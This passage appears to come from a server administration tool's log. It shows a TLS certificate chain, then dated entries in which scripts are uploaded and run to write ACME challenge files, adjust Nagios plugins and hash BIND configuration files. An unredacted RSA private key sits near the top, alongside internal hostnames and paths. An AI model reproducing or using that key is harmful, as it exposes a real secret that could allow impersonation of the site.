MB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0G
A1UdDgQWBBR/VTggLzEs5F2tKsb6ID0wA6RmQzAfBgNVHSMEGDAWgBTnq58PLDOg
U9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6
Ly9yMTMuaS5sZW5jci5vcmcvMBsGA1UdEQQUMBKCEGNvbmRvci5ob3N0ei5vcmcw
EwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3Ix
My5jLmxlbmNyLm9yZy83NS5jcmwwggEEBgorBgEEAdZ5AgQCBIH1BIHyAPAAdQCW
l2S/VViXrfdDh2g3CEJ36fA61fak8zZuRqQ/D8qpxgAAAZvPsXysAAAEAwBGMEQC
IEi+4aUpG9hlDvR1T/c2k/5AOTreU8iB92PTA49URYN/AiAT5XPPGKcdxUMBMrvc
QjUJ/TKPgrEXlyUCEVbirpY7rQB3ANFuqaVoB35mNaA/N6XdvAOlPEESFNSIGPXp
MbMjy5UEAAABm8+xfTAAAAQDAEgwRgIhAL7eilgNNgmcepCyfHPjIn66+q0lBlRU
C1IQIzBeO2rsAiEAqFvI5JLoPAsohz/2Zcjbo0cua94MLAS7hajesB+8UMswDQYJ
KoZIhvcNAQELBQADggEBAFb2W6iUX0IY5S3Tkm0DpNpCtzCH/qMzFfhfneers03l
8uHFiidp51VCXbYB6h0KE2a0k3TAFLhXBmJBeezfgqlFS7ZQQvNkMUC64fAkcHAM
AcP1QhFKoi8fxm+aSFx84bdj2HXReZJUlMtY5zEkRtwrl1Bu39UrPFi6F+eGrsU2
vdjaf66tVp1qOLW5hc3bLuoaZcMW611gkHWF5NNkguyjYQ2ToZ38jwEaQ54F4D+l
NmcFW9bBLiyAwh4R8mLnPYT5wfkWMc+iwgj1OMQGok/vTQab9vdpW6UF4Rdv9kgh
Jqvilv2GN+iaFZpVqxd9jiwAPL04tLTePyPanJwZxqQ=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDdnJ67fa338NO2
IbBwzphTZWDk2IHxp3Ufcdphcy5sLEJfhy/8Ppz3nywmNXl+DMmVMULNgRyymkM7
vPiJfgez4JngYSBREzyfviAEdm0lHD2oFZN7BRlFV0RraXCvhEJIY/C4bvYjqJYm
A4vo3Mauguif7n+gne5vWYybGDOtbl1w3oomccLNx/ItTMFXZoonrtf8mI8fFxft
5hvObBrnESpkI2NcBJNtVlHDJ8vKFsl2rIIW9tZxC3WnzYln9B29J6N8wYxdRcPF
DKAGnHujPEDv9v/PscMLzLqCInI7pOKQQgbAaB3RA751I4qF6xITgio3r0YLCDd2
t27aCwr5AgMBAAECggEABH0pK/QSQ4zxxOUuzUIqDLpneYs3Kp1xPmdQfJvYK2HE
IGo9Gxdrl4p2WvnHUbnRlX+Pclk0qxt71ChyQlq2rjqU81oUTQAeQMAZpu19LXzC
dPam652BUwm+/Yv/t9Zuf0fi9uFsg/FkxTVaLqfWMG+/ZYnvtOGuFDxUoEmftloV
zHRNQ7eknjOJzCyW4352iuGsDwTxMTimYCaphFmjBZEYUIEqKFSUuejIqn/sV3Pf
cyxGE5fcyOAF9yuHqntLj9VGhP9qbMm+JWKjaa79VEIUvybUL6CHauAFoSt6cJQA
FlAhkUpU1h57rJce7LvDki5UDJ/oxawyBm6uzem7QQKBgQD0IyoiH87h0SxxOzsW
pdAtyWiwMoAaelw13sIkAELfXSvcN6pempw3Wk7IMz9xwSRcVPWtkXLCIO+v4ySA
o9SW+x2wSZmWIfmOCMD3Ne7IyHgniooeeijbVEKVTUDOmINTpUAlPDI7B8FNHAW8
GSkBUrTKSkBd/KVIP5SEZt6KyQKBgQDoYUJMD1UAc0XI7oXwfK4rgymHmIjXu84m
Ey7UzUN76MCXb2S9HXHMT61FoGDo3BHIPdOECPNfq0OgIFu8TSVmVeKKuOfbMbg3
D4yXG536vMvP4Lv6OC5bP7LuTjg0c7P9viEMV8eOCnm7e3tt1pfGIhx+HdhQwSio
Uhgq11lmsQKBgQDJ3xXk16Zq5Vq5Wn/Wj09fvO4629c/jbQXu1WPDUQ+jD1LQCA5
T+EiiCMiufWZK1rUmk/3sJBS44cuSkURteaA3a5D6ef806UWBDkDcW48Sj/Iem8R
GnQUQE06RYH0EvpsvPUYlPj4BMaa6zP2wFs+w9PIfbNRxCorXp+BB8q2uQKBgFB1
/KKhXGk/gJZGIJJYWWYvkB2nLxqjqIl+cuSz/f3VZXoJ0/O3UkPQAsrs8SEvseiH
n8lD4CDsCApVqe3VOHHqovotc/ptiL9n3uIjadv7qwZbZjsJYOOvdqEU7FkdBuGB
B6hibHI+JlBIPUCW4Q51mTAB3Xh4qT8+zadn0UjBAoGAJOJhYPqqT+U1jZL3Vlx4
hBbbC/fBKRJ2idgWx5eQc5uwtdHXOjYmJxRPBIRJfKdRT5qQo91VWh8UfP2cee5E
aJfPRXZ+9i42i5YawL8iDLAAXB6rNlku/Dn8DSq74YBXnSb/8B7fs3DShMonTDTE
4MiFBFEJuCww9K26fpMnw5g=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-01-19 06:00:03: Establishing a connection
2026-01-19 06:00:03: Establishing a connection
2026-01-19 06:00:03: 

PUT: /tmp/pkp192987

#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-19 06:00:04: 

chmod 755 /tmp/pkp192987; /tmp/pkp192987; rm /tmp/pkp192987

2026-01-19 06:00:04: 


1


2026-01-19 06:00:05: Establishing a connection
2026-01-19 06:00:05: 

PUT: /tmp/pkp582152

#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > BsHJotJjooSxUf3BMCj8KfvBZlnuaBtDDJgrcoqQxs4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
BsHJotJjooSxUf3BMCj8KfvBZlnuaBtDDJgrcoqQxs4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 BsHJotJjooSxUf3BMCj8KfvBZlnuaBtDDJgrcoqQxs4


2026-01-19 06:00:05: 

chmod 755 /tmp/pkp582152; /tmp/pkp582152; rm /tmp/pkp582152

2026-01-19 06:00:05: 




2026-01-20 06:00:03: Establishing a connection
2026-01-20 06:00:03: Establishing a connection
2026-01-20 06:00:03: 

PUT: /tmp/pkp402377

#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-20 06:00:04: 

chmod 755 /tmp/pkp402377; /tmp/pkp402377; rm /tmp/pkp402377

2026-01-20 06:00:04: 


1


2026-01-20 06:00:05: Establishing a connection
2026-01-20 06:00:05: 

PUT: /tmp/pkp166711

#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > TNSiZlYOui3803sdI05njsGot060QKuEqgDvpnjh9hs <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
TNSiZlYOui3803sdI05njsGot060QKuEqgDvpnjh9hs.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 TNSiZlYOui3803sdI05njsGot060QKuEqgDvpnjh9hs


2026-01-20 06:00:05: 

chmod 755 /tmp/pkp166711; /tmp/pkp166711; rm /tmp/pkp166711

2026-01-20 06:00:05: 




2026-01-21 06:00:02: Establishing a connection
2026-01-21 06:00:03: Establishing a connection
2026-01-21 06:00:03: 

PUT: /tmp/pkp187790

#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-21 06:00:04: 

chmod 755 /tmp/pkp187790; /tmp/pkp187790; rm /tmp/pkp187790

2026-01-21 06:00:04: 


1


2026-01-21 06:00:05: Establishing a connection
2026-01-21 06:00:05: 

PUT: /tmp/pkp343170

#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > Dlldf-40mRItd_iTr9c8Nm8aFrmeTmju9pfAf6b-fEw <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Dlldf-40mRItd_iTr9c8Nm8aFrmeTmju9pfAf6b-fEw.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Dlldf-40mRItd_iTr9c8Nm8aFrmeTmju9pfAf6b-fEw


2026-01-21 06:00:05: 

chmod 755 /tmp/pkp343170; /tmp/pkp343170; rm /tmp/pkp343170

2026-01-21 06:00:05: 




2026-01-21 20:33:31: Establishing a connection
2026-01-21 20:33:31: Establishing a connection
2026-01-21 20:33:32: 

PUT: /tmp/pkp637646

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-21 20:33:32: 

chmod 755 /tmp/pkp637646; /tmp/pkp637646; rm /tmp/pkp637646

2026-01-21 20:33:32: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg	629
# CUSTOMIZED

###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################

# Define an optional hostgroup for Linux machines

define hostgroup {

    hostgroup_name          linux-servers           ; The name of the hostgroup
    alias                   Linux Servers           ; Long name of the group
      ; Comma separated list of hosts that belong to this group
  members  localhost, server_51, server_53, server_44, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}






2026-01-21 20:33:32: 

systemctl reload nagios

2026-01-21 20:33:32: 




2026-01-21 20:33:32: 

PUT: /tmp/pkp318495

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-01-21 20:33:32: 

chmod 755 /tmp/pkp318495; /tmp/pkp318495; rm /tmp/pkp318495

2026-01-21 20:33:32: 


ok


2026-01-21 20:33:32: 

PUT: /tmp/pkp729679

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok


2026-01-21 20:33:32: 

chmod 755 /tmp/pkp729679; /tmp/pkp729679; rm /tmp/pkp729679

2026-01-21 20:33:32: 


ok


2026-01-21 20:33:32: 

PUT: /tmp/pkp811084

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_service'
echo ok


2026-01-21 20:33:32: 

chmod 755 /tmp/pkp811084; /tmp/pkp811084; rm /tmp/pkp811084

2026-01-21 20:33:32: 


ok


2026-01-21 20:33:32: 

PUT: /tmp/pkp232870

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-01-21 20:33:32: 

chmod 755 /tmp/pkp232870; /tmp/pkp232870; rm /tmp/pkp232870

2026-01-21 20:33:32: 


ok


2026-01-21 20:33:32: 

PUT: /tmp/pkp852461

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_autoupdate.php'
echo ok


2026-01-21 20:33:32: 

chmod 755 /tmp/pkp852461; /tmp/pkp852461; rm /tmp/pkp852461

2026-01-21 20:33:32: 


ok


2026-01-21 20:33:32: 

PUT: /tmp/pkp661668

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_debian_packages'
echo ok


2026-01-21 20:33:32: 

chmod 755 /tmp/pkp661668; /tmp/pkp661668; rm /tmp/pkp661668

2026-01-21 20:33:32: 


ok


2026-01-21 20:33:32: 

PUT: /tmp/pkp907780

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-01-21 20:33:32: 

chmod 755 /tmp/pkp907780; /tmp/pkp907780; rm /tmp/pkp907780

2026-01-21 20:33:32: 


ok


2026-01-21 20:33:32: 

PUT: /tmp/pkp397006

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_php.php'
echo ok


2026-01-21 20:33:32: 

chmod 755 /tmp/pkp397006; /tmp/pkp397006; rm /tmp/pkp397006

2026-01-21 20:33:32: 


ok


2026-01-21 20:33:32: 

PUT: /tmp/pkp594864

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_file_exists'
echo ok


2026-01-21 20:33:32: 

chmod 755 /tmp/pkp594864; /tmp/pkp594864; rm /tmp/pkp594864

2026-01-21 20:33:32: 


ok


2026-01-22 06:00:01: Establishing a connection
2026-01-22 06:00:02: Establishing a connection
2026-01-22 06:00:02: 

PUT: /tmp/pkp544740

#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-22 06:00:03: 

chmod 755 /tmp/pkp544740; /tmp/pkp544740; rm /tmp/pkp544740

2026-01-22 06:00:03: 


1


2026-01-22 06:00:04: Establishing a connection
2026-01-22 06:00:04: 

PUT: /tmp/pkp594226

#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > OAD9sUJEglG_yvsCeeBj9SFtbybQMk075jWjxgaoiAU <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
OAD9sUJEglG_yvsCeeBj9SFtbybQMk075jWjxgaoiAU.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 OAD9sUJEglG_yvsCeeBj9SFtbybQMk075jWjxgaoiAU


2026-01-22 06:00:04: 

chmod 755 /tmp/pkp594226; /tmp/pkp594226; rm /tmp/pkp594226

2026-01-22 06:00:04: 




2026-01-23 06:00:04: Establishing a connection
2026-01-23 06:00:04: Establishing a connection
2026-01-23 06:00:04: 

PUT: /tmp/pkp488976

#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-23 06:00:05: 

chmod 755 /tmp/pkp488976; /tmp/pkp488976; rm /tmp/pkp488976

2026-01-23 06:00:05: 


1


2026-01-23 06:00:06: Establishing a connection
2026-01-23 06:00:06: 

PUT: /tmp/pkp497283

#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > QeNkprrc-vh3j8DVa6heTZsYiIdMNTr9ds1WzGU56n8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
QeNkprrc-vh3j8DVa6heTZsYiIdMNTr9ds1WzGU56n8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 QeNkprrc-vh3j8DVa6heTZsYiIdMNTr9ds1WzGU56n8


2026-01-23 06:00:06: 

chmod 755 /tmp/pkp497283; /tmp/pkp497283; rm /tmp/pkp497283

2026-01-23 06:00:06: 




2026-01-23 06:00:08: Establishing a remote connection
2026-01-23 11:01:27: Establishing a connection
2026-01-23 11:01:40: Establishing a connection
2026-01-23 11:01:41: 

PUT: /tmp/pkp347905

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-23 11:01:41: 

runuser -l bind -s /bin/bash -c '/tmp/pkp347905; rm /tmp/pkp347905'

2026-01-23 11:01:41: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
